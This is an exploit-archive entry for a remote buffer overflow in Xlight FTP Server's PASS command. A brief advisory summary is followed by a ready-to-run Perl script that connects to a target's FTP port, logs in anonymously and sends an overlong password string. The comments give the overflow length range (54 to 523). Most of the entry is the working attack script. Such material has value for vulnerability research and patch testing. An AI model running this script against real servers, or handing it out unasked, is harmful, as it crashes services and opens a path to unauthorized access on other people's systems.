Xlight FTP Server 1.25/1.41 - 'PASS' Remote Buffer Overflow

source: https://www.securityfocus.com/bid/9285/info

It has been reported that Xlight FTP Server is prone to a remote buffer overflow condition that may allow an attacker to gain unauthorized access to a system running the vulnerable software. The issue presents itself when an attacker sends a specially crafted PASS command request containing an excessively long string value to the vulnerable server.

Xlight FTP Server versions 1.41 and prior have been reported to be prone to this issue. 

#!/usr/bin/perl
 
# Exploit for Xlight FTP server long PASS vulnerability
 
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
                                 PeerAddr => $host,
                                 PeerPort => "ftp(21)",
                                 );
unless ($remote) { die "cannot connect to ftp daemon on $host" }

$remote->autoflush(1);

print $remote "USER anonymous\r\n";
sleep(1);

$buf = "A"x54; # Min 54, Max 523
print $remote "PASS ".$buf."\r\n";
sleep(1);

close $remote;